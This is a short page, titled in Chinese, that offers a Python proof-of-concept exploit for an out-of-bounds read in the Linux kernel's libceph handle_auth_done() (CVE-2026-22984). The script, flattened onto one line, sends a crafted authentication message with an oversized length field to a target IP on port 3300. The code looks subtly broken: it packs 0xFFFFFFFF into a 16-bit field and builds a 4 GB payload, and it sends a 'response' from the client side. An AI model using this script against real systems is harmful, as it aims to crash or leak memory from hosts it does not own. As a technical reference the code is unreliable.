Linux kernel libceph handle_auth_done() 越界读取漏洞 (CVE-2026-22984)

# CVE-2026-22984 PoC - libceph handle_auth_done() OOB Read # This PoC demonstrates the vulnerability in libceph's payload_len handling import struct import socket def create_malicious_auth_response(payload_len): """ Create a malicious CEPH authentication response with oversized payload_len """ # CEPH msg header structure msg_type = 0x100 # CEPH_MSG_AUTH front_len = 16 # Front section length # Malicious payload_len that exceeds bounds # This triggers the OOB read in handle_auth_done() middle_len = payload_len data_len = 0 # Build CEPH msg header header = struct.pack('<HHQQQII', front_len, # Front length middle_len, # Middle length (malicious payload_len) 0, # Data length 0, # Seq 0, # Time stamp msg_type, # Message type 0 # Priority ) # Malicious payload data payload = b'\x00' * middle_len if middle_len > 0 else b'' return header + payload def exploit_ceph_auth(target_ip, target_port=3300): """ Send malicious authentication response to trigger OOB read """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send malicious payload with oversized payload_len malicious_msg = create_malicious_auth_response(0xFFFFFFFF) sock.send(malicious_msg) print(f"[+] Malicious auth response sent to {target_ip}:{target_port}") print(f"[+] Payload length: 0xFFFFFFFF") print(f"[+] This should trigger OOB read in handle_auth_done()") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-22984 - libceph handle_auth_done() OOB Read PoC") print("=" * 60) # Usage: python poc.py <target_ip> import sys if len(sys.argv) > 1: exploit_ceph_auth(sys.argv[1]) else: print("Usage: python poc.py <target_ip>")